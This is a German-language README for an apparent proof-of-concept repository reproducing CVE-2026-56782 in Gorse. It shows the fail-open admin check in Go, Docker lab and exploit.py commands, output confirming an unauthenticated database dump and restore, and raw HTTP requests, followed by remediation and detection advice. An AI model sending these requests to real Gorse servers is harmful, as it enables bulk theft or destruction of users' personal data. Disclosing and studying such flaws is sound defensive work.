CVE-2026-56782 — Gorse Unauthentifizierter Datenbank-Dump/-Wiederherstellung (Authentifizierungsumgehung)

Gorse < 0.5.10 wird mit admin_api_key = "" ausgeliefert. Die Master-HTTP-Endpunkte /api/dump und /api/restore sind durch eine Admin-Prüfung geschützt, die fehlschlägt offen, wenn kein Schlüssel konfiguriert ist — der Standard. Ein nicht authentifizierter, netzwerkerreichbarer Angreifer kann den gesamten Datensatz exfiltrieren (Benutzer, Artikel, Feedback/PII) oder überschreiben.

Ursache

master/rest.go schützt die Dump/Restore-Handler mit checkAdmin():

func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- fail-open: no key configured => everyone is admin
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // streams every user, item and feedback row
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — overwrites the dataset
}

Die mitgelieferte config/config.toml setzt admin_api_key = "". Mit der Standardkonfiguration gibt checkAdmin() für jede Anfrage true zurück — der X-API-Key-Header wird nie konsultiert — daher sind beide Endpunkte weltweit lesbar und beschreibbar.

Auswirkungen

• Vertraulichkeit — GET /api/dump streamt die gesamte Datenbank: jede Benutzer-ID und Labels, jedes Item und den gesamten Feedback-Graphen (wer mit was interagiert hat). Für einen Empfehlungsdienst, der ein echtes Produkt unterstützt, sind dies massenhaft personenbezogene Daten / Verhaltensdaten.
• Integrität / Verfügbarkeit — POST /api/restore ersetzt den Datensatz durch vom Angreifer bereitgestellte Inhalte, was eine stille Datenvergiftung oder -zerstörung ermöglicht.

Reproduzieren

# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
#    --playground seeds a real users/items/feedback dataset to exfiltrate.

# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

Beobachtet:

[*] GET http://127.0.0.1:8088/api/dump  (no X-API-Key header)
[*] HTTP 200  content-type: application/octet-stream

[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.

Ein gefälschter X-API-Key-Header gibt immer noch 200 zurück — was bestätigt, dass der Schlüssel bei nicht gesetztem admin_api_key vollständig ignoriert wird (der Fail-Open-Pfad), nicht nur abgeglichen wird.

Rohe Anfragen

GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088

POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>

Abhilfe

• Aktualisieren Sie auf Gorse ≥ 0.5.10, das die Fail-Open bei leerem Schlüssel aus der Admin-Prüfung entfernt (ein nicht gesetzter Schlüssel gewährt keinen Zugriff mehr).
• Als Übergangslösung für betroffene Versionen setzen Sie einen starken admin_api_key (und dashboard-Anmeldeinformationen), terminieren Sie TLS vor dem Master und setzen Sie den Master-HTTP-Port (8088) niemals unsicheren Netzwerken aus.

Erkennung

Alarmieren Sie bei GET /api/dump oder POST /api/restore an den Master-Port von einem Client ohne gültigen X-API-Key und bei großen application/octet-stream-Antworten von /api/dump.

Siehe ANALYSIS.md für den Anfrageablauf, das Dump-Stream-Format und den Patch.

• Autor: Caio Fabrício — github.com/BiiTts
• Die Anerkennung für die Sicherheitslücke gebührt dem ursprünglichen CVE-Melder; dieses Repository ist eine unabhängige Reproduktion für defensive und pädagogische Zwecke. Nur für autorisierte Sicherheitstests.